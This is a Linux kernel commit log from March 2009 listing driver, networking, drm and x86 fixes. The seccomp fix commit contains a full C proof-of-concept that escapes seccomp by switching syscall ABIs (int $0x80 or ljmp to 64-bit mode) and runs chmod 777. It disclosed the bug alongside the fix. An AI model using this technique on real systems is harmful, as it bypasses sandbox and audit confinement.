Commit Graph

132174 Commits

Author SHA1 Message Date
Tom Parker 97d4b35fb4 Blackfin arch: fix bug - Error if one serial has hardware flow control and the other doesn't
I have a system where UART0 is configured with hardware flow control, but UART1
doesn't have it enabled. Attempting to access UART1 in this configuration
results in the following error in dmesg:

<3>bfin-gpio: GPIO 0 is already reserved as Peripheral by bfin-uart !
<5>Stack from 0082bc7c:
<5>        0082bc88 00404dd6 00000003 00000000 0054051e 004079da 0082bcb4
00000000
<5>        00000003 00000000 0052686c 0113f2a0 005fa3f0 00000032 20515249
00003035
<5>        00427228 00526e50 0113f2e0 005fa3f0 00000032 0113f2e0 0054b748
0000ffff
<5>        22222222 22222222 004e1628 00427304 00000000 00000032 00000023
0054b748
<5>        00487a94 0054b7e8 0054b748 0000000b 00487fb8 0054b748 0054b748
00000001
<5>        0000000a 005fa3f0 009d4fe8 0101e3c0 0054b748 005fa3f0 0050b134
0054b748
<5>
<5>Call Trace:
<4>[<00485c16>] _uart_startup+0x56/0x178
<4>[<004865c8>] _uart_open+0x40/0x3e0
<4>[<0048661c>] _uart_open+0x94/0x3e0
<4>[<0047f1ce>] _init_dev+0x1fa/0x450
<4>[<004e1628>] ___mutex_unlock_slowpath+0x30/0xe8
<4>[<004815da>] _tty_open+0xf6/0x21c
<4>[<0043dab0>] ___path_lookup_intent_open+0x34/0x7c
<4>[<004375e4>] _chrdev_open+0x7c/0x134
<4>[<0043dc2c>] _open_namei+0x60/0x568
<4>[<00433fa2>] ___dentry_open+0x9e/0x188
<4>[<00437568>] _chrdev_open+0x0/0x134
<4>[<0043410c>] _nameidata_to_filp+0x30/0x3c
<4>[<00434152>] _do_filp_open+0x3a/0x44
<4>[<00408826>] _task_running_tick+0x102/0x278
<4>[<0043418e>] _do_sys_open+0x32/0xac
<4>[<0043ede4>] _sys_ioctl+0x28/0x50
<4>[<0043edbc>] _sys_ioctl+0x0/0x50
<4>[<00434224>] _sys_open+0x18/0x20
<4>[<0043420c>] _sys_open+0x0/0x20
<4>[<00418174>] _sys_setuid+0x0/0xc8

This is because the #ifdef's in bfin_serial_5xx.h are messed up. More
specifically, they add/remove the uart_{rts,cts}_pin fields in
bfin_serial_resources based on whether the particular port has rts/cts enabled,
as opposed to when either port has it enabled.

This patch fixed this.

Signed-off-by: Tom Parker <blackfin@tevp.net>
Signed-off-by: Sonic Zhang <sonic.zhang@analog.com>
Signed-off-by: Bryan Wu <cooloney@kernel.org>
2009-03-03 17:59:39 +08:00
Eric W. Biederman 17edde5209 netns: Remove net_alive
It turns out that net_alive is unnecessary, and the original problem
that led to it being added was simply that the icmp code thought
it was a network device and wound up being unable to handle packets
while there were still packets in the network namespace.

Now that icmp and tcp have been fixed to properly register themselves
this problem is no longer present and we have a stronger guarantee
that packets will not arrive in a network namespace then that provided
by net_alive in netif_receive_skb.  So remove net_alive allowing
packet reception run a little faster.

Additionally document the strong reason why network namespace cleanup
is safe so that if something happens again someone else will have
a chance of figuring it out.

Signed-off-by: Eric W. Biederman <ebiederm@aristanetworks.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
2009-03-03 01:14:27 -08:00
Eric W. Biederman 2f20d2e667 tcp: Like icmp use register_pernet_subsys
To remove the possibility of packets flying around when network
devices are being cleaned up use reisger_pernet_subsys instead of
register_pernet_device.

Signed-off-by: Eric W. Biederman <ebiederm@aristanetworks.com>
Acked-by: Denis V. Lunev <den@openvz.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
2009-03-03 01:14:21 -08:00
Eric W. Biederman 6eb0777228 netns: Fix icmp shutdown.
Recently I had a kernel panic in icmp_send during a network namespace
cleanup.  There were packets in the arp queue that failed to be sent
and we attempted to generate an ICMP host unreachable message, but
failed because icmp_sk_exit had already been called.

The network devices are removed from a network namespace and their
arp queues are flushed before we do attempt to shutdown subsystems
so this error should have been impossible.

It turns out icmp_init is using register_pernet_device instead
of register_pernet_subsys.  Which resulted in icmp being shut down
while we still had the possibility of packets in flight, making
a nasty NULL pointer deference in interrupt context possible.

Changing this to register_pernet_subsys fixes the problem in
my testing.

Signed-off-by: Eric W. Biederman <ebiederm@aristanetworks.com>
Acked-by: Denis V. Lunev <den@openvz.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
2009-03-03 01:14:15 -08:00
Daniel Lezcano 176c39af29 netns: fix addrconf_ifdown kernel panic
When a network namespace is destroyed the network interfaces are
all unregistered, making addrconf_ifdown called by the netdevice
notifier. 
In the other hand, the addrconf exit method does a loop on the network
devices and does addrconf_ifdown on each of them. But the ordering of 
the netns subsystem is not right because it uses the register_pernet_device
instead of register_pernet_subsys. If we handle the loopback as
any network device, we can safely use register_pernet_subsys.

But if we use register_pernet_subsys, the addrconf exit method will do
exactly what was already done with the unregistering of the network
devices. So in definitive, this code is pointless.

I removed the netns addrconf exit method and moved the code to the
addrconf cleanup function.

Signed-off-by: Daniel Lezcano <dlezcano@fr.ibm.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
2009-03-03 01:06:45 -08:00
Mike Frysinger ee554be9dd Blackfin arch: fix compile failure when missing the anomaly definition
make sure ANOMALY_05000278/ANOMALY_05000380 is defined for all parts

Signed-off-by: Mike Frysinger <vapier.adi@gmail.com>
Signed-off-by: Bryan Wu <cooloney@kernel.org>
2009-03-03 16:52:55 +08:00
Stephen Hemminger b325fddb7f ipv6: Fix sysctl unregistration deadlock
Signed-off-by: David S. Miller <davem@davemloft.net>
2009-03-03 00:47:47 -08:00
Stephen Hemminger 5a5990d309 net: Avoid race between network down and sysfs
Signed-off-by: Stephen Hemminger <shemminger@vyatta.com>
Acked-by: "Eric W. Biederman" <ebiederm@xmission.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
2009-03-03 00:47:46 -08:00
Yinghai Lu 0fc59d3a01 x86: fix init_memory_mapping() to handle small ranges
Impact: fix failed EFI bootup in certain circumstances

Ying Huang found init_memory_mapping() has problem with small ranges
less than 2M when he tried to direct map the EFI runtime code out of
max_low_pfn_mapped.

It turns out we never considered that case and didn't check the range...

Reported-by: Ying Huang <ying.huang@intel.com>
Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Brian Maly <bmaly@redhat.com>
LKML-Reference: <49ACDDED.1060508@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-03 08:50:22 +01:00
Russell King 07555c9880 OMAP: enable smc911x support for LDP platform
The following patch enables SMC911x support to work on the OMAP LDP
board.  Although the SMC911x driver will eventually be obsoleted, the
smsc911x patches are rather invasive for the -rc kernels.

Rather than risk destablising smsc911x, this simpler patch is preferred
to allow the network interface to work.

Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
Acked-by: Tony Lindgren <tony@atomide.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
2009-03-02 22:29:37 -08:00
Wei Yongjun 3df2678737 sctp: fix kernel panic with ERROR chunk containing too many error causes
If ERROR chunk is received with too many error causes in ESTABLISHED
state, the kernel get panic.

This is because sctp limit the max length of cmds to 14, but while
ERROR chunk is received, one error cause will add around 2 cmds by
sctp_add_cmd_sf(). So many error causes will fill the limit of cmds
and panic.

This patch fixed the problem.

This bug can be test by SCTP Conformance Test Suite
<http://networktest.sourceforge.net/>.

Signed-off-by: Wei Yongjun <yjwei@cn.fujitsu.com>
Signed-off-by: Vlad Yasevich <vladislav.yasevich@hp.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
2009-03-02 22:27:39 -08:00
Vlad Yasevich d1dd524785 sctp: fix crash during module unload
An extra list_del() during the module load failure and unload
resulted in a crash with a list corruption.  Now sctp can
be unloaded again.

Signed-off-by: Vlad Yasevich <vladislav.yasevich@hp.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
2009-03-02 22:27:38 -08:00
Linus Torvalds 2450cf51a1 Revert "menu: fix embedded menu snafu"
This reverts commit 155b25bcc2, which was
totally wrong - the "embedded" options still exists (very much so) even
on non-embedded platforms.

It's just that we don't bother with actually asking about them when
we're not embedded, we just take their default values (which is usually
'y' - the options add features that may not be worth it in a constrained
environment).

Noticed-by: Andrew Morton <akpm@linux-foundation.org>
Cc: Randy Dunlap <randy.dunlap@oracle.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02 16:23:33 -08:00
Linus Torvalds 43e407071d Merge branch 'drm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/airlied/drm-2.6
* 'drm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/airlied/drm-2.6:
  drm/i915: Fix use-before-null-check in i915_irq_emit().
  drm: Avoid client deadlocks when the master disappears.
  drm: Wake up all lock waiters when the master disappears.
  drm: Don't return ERESTARTSYS to user-space.
2009-03-02 16:11:36 -08:00
Eric Anholt 299eb93c5f drm/i915: Fix use-before-null-check in i915_irq_emit().
This could be triggered by a client asking to emit an irq when the device
wasn't initialized.

Signed-off-by: Eric Anholt <eric@anholt.net>
Signed-off-by: Dave Airlie <airlied@linux.ie>
2009-03-03 09:53:05 +10:00
Thomas Hellstrom fda714c29c drm: Avoid client deadlocks when the master disappears.
This is done by
1) Wake up lock waiters when we close the master file descriptor.
   Not when the master structure is removed, since the latter
   requires the waiters themselves to release the refcount on the
   master structure -> Deadlock.
2) Send a SIGTERM to all clients waiting for the lock.
   Normally these clients will get a SIGPIPE when the X server dies,
   but clients may also spin trying to grab the DRM lock, without
   getting any sort of notification.

Signed-off-by: Thomas Hellstrom <thellstrom@vmware.com>
Signed-off-by: Dave Airlie <airlied@linux.ie>
2009-03-03 09:50:20 +10:00
Thomas Hellstrom 171901d15d drm: Wake up all lock waiters when the master disappears.
Currently only one waiter is woken up, leaving other waiters
hanging waiting for the DRM lock.

Signed-off-by: Thomas Hellstrom <thellstrom@vmware.com>
Signed-off-by: Dave Airlie <airlied@linux.ie>
2009-03-03 09:49:54 +10:00
Thomas Hellstrom 4d77c88e91 drm: Don't return ERESTARTSYS to user-space.
That return code is for in-kernel use only.
Use EINTR instead.

Signed-off-by: Thomas Hellstrom <thellstrom@vmware.com>
Signed-off-by: Dave Airlie <airlied@linux.ie>
2009-03-03 09:49:46 +10:00
Randy Dunlap 155b25bcc2 menu: fix embedded menu snafu
The COMPAT_BRK kconfig symbol does not depend on EMBEDDED, but it is in
the midst of the EMBEDDED menu symbols, so it mucks up the EMBEDDED
menu.  Fix by moving it to just after all of the EMBEDDED menu symbols.

Also, surround all of the EMBEDDED symbols with "if EMBEDDED"/"endif" so
that this EMBEDDED block is clearer.

Signed-off-by: Randy Dunlap <randy.dunlap@oracle.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02 15:49:16 -08:00
Linus Torvalds d86a1c3de5 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/drzeus/mmc
* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/drzeus/mmc:
  sdhci: Add NO_BUSY_IRQ quirk for Marvell CAFE host chip
  sdhci: Add quirk for controllers with no end-of-busy IRQ
2009-03-02 15:48:00 -08:00
Linus Torvalds bd5e89c813 Merge branch 'fix/hda' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound-2.6
* 'fix/hda' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound-2.6:
  ALSA: hda - Add probe_mask default for Toshiba laptop with ALC268
  ALSA: hda - Add quirk for new HP xw series
  ALSA: hda - Fix digital mic on dell-m4-1 and dell-m4-3
2009-03-02 15:47:19 -08:00
Linus Torvalds 2d44947a56 Merge branch 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip
* 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
  fix warning in io_mapping_map_wc()
  x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()
2009-03-02 15:47:01 -08:00
Linus Torvalds 359aa09be9 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-2.6
* git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-2.6: (29 commits)
  zaurus: add usb id for motomagx phones
  usbnet: make usbnet_get_link() fall back to ethtool_op_get_link()
  veth: Fix carrier detect
  cdc_ether: add usb id for Ericsson F3507g
  r8169: read MAC address from EEPROM on init (2nd attempt)
  tcp: fix retrans_out leaks
  net headers: export dcbnl.h
  net headers: cleanup dcbnl.h
  netpoll: Add drop checks to all entry points
  gianfar: Do right check on num_txbdfree
  pkt_sched: sch_drr: Fix oops in drr_change_class.
  b44: Disable device on shutdown
  b44: Unconditionally enable interrupt routing on reset
  net: fix hp-plus build error
  libertas: fix misuse of netdev_priv() and dev->ml_priv
  ipv6: don't use tw net when accounting for recycled tw
  asix: new device ids
  tcp_scalable: Update malformed & dead url
  netfilter: xt_recent: fix proc-file addition/removal of IPv4 addresses
  netxen: handle pci bar 0 mapping failure
  ...
2009-03-02 15:46:09 -08:00
Linus Torvalds c742b4bf7a Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6
* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6:
  selinux: Fix a panic in selinux_netlbl_inode_permission()
2009-03-02 15:44:08 -08:00
Karsten Keil fbfd8b5622 Change email address
Since I will loose the old address soon, please change it.

Signed-off-by: Karsten Keil <kkeil@linux-pingi.de>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02 15:43:40 -08:00
Linus Torvalds 6b3bf20491 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input
* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input:
  Input: elantech - touchpad driver miss-recognising logitech mice
  Input: synaptics - ensure we reset the device on resume
  Input: usbtouchscreen - fix eGalax HID ignoring
  Input: ambakmi - fix timeout handling in amba_kmi_write()
  Input: pxa930_trkball - fix write timeout handling
  Input: struct device - replace bus_id with dev_name(), dev_set_name()
  Input: bf54x-keys - fix debounce time validation
  Input: spitzkbd - mark probe function as __devinit
  Input: omap-keypad - mark probe function as __devinit
  Input: corgi_ts - mark probe function as __devinit
  Input: corgikbd - mark probe function as __devinit
  Input: uvc - the button on the camera is KEY_CAMERA
  Input: psmouse - make MOUSE_PS2_LIFEBOOK depend on X86
  Input: atkbd - make forced_release_keys[] static
  Input: usbtouchscreen - allow reporting calibrated data
2009-03-02 15:43:03 -08:00
Linus Torvalds 36b31106b7 Merge branch 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4
* 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4:
  ext4: don't call jbd2_journal_force_commit_nested without journal
  ext4: Reorder fs/Makefile so that ext2 root fs's are mounted using ext2
  ext4: Remove duplicate call to ext4_commit_super() in ext4_freeze()
2009-03-02 15:42:26 -08:00
Linus Torvalds 7b88ed671a Merge git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6
* git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6:
  [SCSI] mpt: fix disable lsi sas to use msi as default
  [SCSI] fix ABORTED_COMMAND looping forever problem
  [SCSI] sd: revive sd_index_lock
  [SCSI] cxgb3i: update the driver version to 1.0.1
  [SCSI] cxgb3i: Fix spelling errors in documentation
  [SCSI] cxgb3i: added missing include in cxgb3i_ddp.h
  [SCSI] cxgb3i: Outgoing pdus need to observe skb's MAX_SKB_FRAGS
  [SCSI] cxgb3i: added per-task data to track transmit progress
  [SCSI] cxgb3i: transmit work-request fixes
  [SCSI] hptiop: Add new PCI device ID
2009-03-02 15:41:59 -08:00
Roland McGrath 5b1017404a x86-64: seccomp: fix 32/64 syscall hole
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include <assert.h>
	#include <inttypes.h>
	#include <stdio.h>
	#include <linux/prctl.h>
	#include <sys/stat.h>
	#include <unistd.h>
	#include <asm/unistd.h>

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02 15:41:30 -08:00
Roland McGrath ccbe495caa x86-64: syscall-audit: fix 32/64 syscall hole
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases, audit_syscall_entry() will use the wrong system
call number table and the wrong system call argument registers.  This
could be used to circumvent a syscall audit configuration that filters
based on the syscall numbers or argument details.

Signed-off-by: Roland McGrath <roland@redhat.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02 15:41:30 -08:00
Andres Salomon a0874897b1 sdhci: Add NO_BUSY_IRQ quirk for Marvell CAFE host chip
As described here: http://lkml.org/lkml/2009/2/20/265

The CAFE chip is broken due to commit e809517f6f.
Anton added a quirk here: http://lkml.org/lkml/2009/2/20/279 that fixes
CAFE's problem.  This adds the quirk for CAFE.

Signed-off-by: Andres Salomon <dilinger@debian.org>
Signed-off-by: Pierre Ossman <drzeus@drzeus.cx>
2009-03-02 21:48:20 +01:00
Ben Dooks f945405cde sdhci: Add quirk for controllers with no end-of-busy IRQ
The Samsung SDHCI (and FSL eSDHC) controller block seems to fail
to generate an INT_DATA_END after the transfer has completed and
the bus busy state finished.

Changes in e809517f6f to use the
new busy method are the cause of the behaviour change.

Signed-off-by: Ben Dooks <ben-linux@fluff.org>
Signed-off-by: Anton Vorontsov <avorontsov@ru.mvista.com>
Signed-off-by: Pierre Ossman <drzeus@drzeus.cx>
2009-03-02 21:46:35 +01:00
Bernd Schmidt e84dcaa18b Blackfin arch: fix bug - jump_to_zero test case failed on noMPU kernel
The nompu code is now derived from the mpu code, and had the same problem -
no null pointer detection on ICPLBs.

Signed-off-by: Bernd Schmidt <bernds_cb1@t-online.de>
Cc: Mike Frysinger <vapier.adi@gmail.com>
Signed-off-by: Bryan Wu <cooloney@kernel.org>
2009-03-02 18:37:48 +08:00
Mike Frysinger 34d464f8aa Blackfin arch: use common KGDB_TESTS rather than our own KGDB_TESTCASE
Signed-off-by: Mike Frysinger <vapier.adi@gmail.com>
Signed-off-by: Bryan Wu <cooloney@kernel.org>
2009-03-02 18:14:47 +08:00
Michael Hennerich 0f29456a21 Blackfin arch: Make IRQ_EPPIx_ERROR naming consistent
Signed-off-by: Michael Hennerich <michael.hennerich@analog.com>
Signed-off-by: Bryan Wu <cooloney@kernel.org>
2009-03-02 18:06:13 +08:00
Sonic Zhang 28e4cf22a3 Blackfin arch: Disable NAND option by default
Signed-off-by: Sonic Zhang <sonic.zhang@analog.com>
Signed-off-by: Bryan Wu <cooloney@kernel.org>
2009-03-02 18:04:24 +08:00
Mike Frysinger a572e217c6 Blackfin arch: drop untested and useless "generic" board file
Signed-off-by: Mike Frysinger <vapier.adi@gmail.com>
Signed-off-by: Bryan Wu <cooloney@kernel.org>
2009-03-02 17:22:36 +08:00
Pekka Paalanen 340430c572 x86 mmiotrace: fix race with release_kmmio_fault_page()
There was a theoretical possibility to a race between arming a page in
post_kmmio_handler() and disarming the page in
release_kmmio_fault_page():

cpu0                             cpu1
------------------------------------------------------------------
mmiotrace shutdown
enter release_kmmio_fault_page
                                 fault on the page
                                 disarm the page
disarm the page
                                 handle the MMIO access
                                 re-arm the page
put the page on release list
remove_kmmio_fault_pages()
                                 fault on the page
                                 page not known to mmiotrace
                                 fall back to do_page_fault()
                                 *KABOOM*

(This scenario also shows the double disarm case which is allowed.)

Fixed by acquiring kmmio_lock in post_kmmio_handler() and checking
if the page is being released from mmiotrace.

Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 10:20:37 +01:00
Stuart Bennett 3e39aa156a x86 mmiotrace: improve handling of secondary faults
Upgrade some kmmio.c debug messages to warnings.
Allow secondary faults on probed pages to fall through, and only log
secondary faults that are not due to non-present pages.

Patch edited by Pekka Paalanen.

Signed-off-by: Stuart Bennett <stuart@freedesktop.org>
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 10:20:37 +01:00
Pekka Paalanen 0b700a6a25 x86 mmiotrace: split set_page_presence()
From 36772dcb6ffbbb68254cbfc379a103acd2fbfefc Mon Sep 17 00:00:00 2001
From: Pekka Paalanen <pq@iki.fi>
Date: Sat, 28 Feb 2009 21:34:59 +0200

Split set_page_presence() in kmmio.c into two more functions set_pmd_presence()
and set_pte_presence(). Purely code reorganization, no functional changes.

Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 10:20:36 +01:00
Pekka Paalanen 5359b585fb x86 mmiotrace: fix save/restore page table state
From baa99e2b32449ec7bf147c234adfa444caecac8a Mon Sep 17 00:00:00 2001
From: Pekka Paalanen <pq@iki.fi>
Date: Sun, 22 Feb 2009 20:02:43 +0200

Blindly setting _PAGE_PRESENT in disarm_kmmio_fault_page() overlooks the
possibility, that the page was not present when it was armed.

Make arm_kmmio_fault_page() store the previous page presence in struct
kmmio_fault_page and use it on disarm.

This patch was originally written by Stuart Bennett, but Pekka Paalanen
rewrote it a little different.

Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 10:20:36 +01:00
Stuart Bennett e9d54cae8f x86 mmiotrace: WARN_ONCE if dis/arming a page fails
Print a full warning once, if arming or disarming a page fails.

Also, if initial arming fails, do not handle the page further. This
avoids the possibility of a page failing to arm and then later claiming
to have handled any fault on that page.

WARN_ONCE added by Pekka Paalanen.

Signed-off-by: Stuart Bennett <stuart@freedesktop.org>
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 10:20:35 +01:00
Pekka Paalanen 5ff93697fc x86: add far read test to testmmiotrace
Apparently pages far into an ioremapped region might not actually be
mapped during ioremap(). Add an optional read test to try to trigger a
multiply faulting MMIO access. Also add more messages to the kernel log
to help debugging.

This patch is based on a patch suggested by
Stuart Bennett <stuart@freedesktop.org>
who discovered bugs in mmiotrace related to normal kernel space faults.

Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 10:20:35 +01:00
Pekka Paalanen fab852aaf7 x86: count errors in testmmiotrace.ko
Check the read values against the written values in the MMIO read/write
test. This test shows if the given MMIO test area really works as
memory, which is a prerequisite for a successful mmiotrace test.

Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 10:20:34 +01:00
Pallipadi, Venkatesh 5ce04e3de8 fix warning in io_mapping_map_wc()
Signed-off-by: Venkatesh Pallipadi <venkatesh.pallipadi@intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 09:43:32 +01:00
Takashi Iwai 38f1df27e3 ALSA: hda - Add probe_mask default for Toshiba laptop with ALC268
Some Toshiba laptops have another ALC268 codec on slot#3 that conflicts
with the primary codec.  The codec#3 is for the digital I/O, and should
be fixed by the driver, but it'd need a bunch of changes.

So, let's fix the probe problem temporarily by setting the default
probe_mask value.

Reference: kernel bugzilla #12735
	http://bugzilla.kernel.org/show_bug.cgi?id=12735

Tested-by: Alexey Dobriyan <adobriyan@gmail.com>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
2009-03-02 07:55:52 +01:00
Dmitriy Taychenachev 52c0326bea zaurus: add usb id for motomagx phones
The Motorola MOTOMAGX phones (Z6, E8, Zn5 so far) are providing
combined ACM/BLAN USB configuration. Since it has Vendor Specific
class, the corresponding drivers (cdc-acm, zaurus) can't find it just
by interface info. This patch adds usb id so the zaurus driver can
properly handle this combined device.

Signed-off-by: Dmitriy Taychenachev <dimichxp@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
2009-03-01 20:48:08 -08:00
Bjørn Mork 05ffb3e287 usbnet: make usbnet_get_link() fall back to ethtool_op_get_link()
Make usbnet_get_link() fall back to ethtool_op_get_link() instead of
defaulting to 1.  
     
This makes usbnet_get_link return valid results without the need for a
driver specific check_connect or mii ops as long as the driver calls
netif_carrier_{on,off}() as appropriate.  cdc_ether is an example of
such a driver.

Signed-off-by: Bjørn Mork <bjorn@mork.no>
Signed-off-by: David S. Miller <davem@davemloft.net>
2009-03-01 20:45:40 -08:00
Eric W. Biederman 2cf48a10aa veth: Fix carrier detect
The current implementation of carrier detect in veth is broken.
It reports the link is down until both sides of the veth pair
are administatively up and then forever after it reports link up.

So fix veth so that it only reports link up when both interfaces
of the pair are administratively up.

Signed-off-by: Eric Biederman <ebiederm@aristanetworks.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
2009-03-01 20:44:21 -08:00
Bjørn Mork cac477e8f1 cdc_ether: add usb id for Ericsson F3507g
The Ericsson F3507g wireless broadband module provides a CDC Ethernet
compliant interface, but identifies it as a "Mobile Direct Line" CDC
subclass, thereby preventing the CDC Ethernet class driver from picking
it up.  This patch adds the device id to cdc_ether.c as a workaround.

Ericsson has provided a "class" driver for this device:
http://kerneltrap.org/mailarchive/linux-net/2008/10/28/3832094
But closer inspection of that driver reveals that it adds little more
than duplication of code from cdc_ether.c.  See also
http://marc.info/?l=linux-usb&m=123334979706403&w=2

Signed-off-by: Bjørn Mork <bjorn@mork.no>
Signed-off-by: David S. Miller <davem@davemloft.net>
2009-03-01 20:44:21 -08:00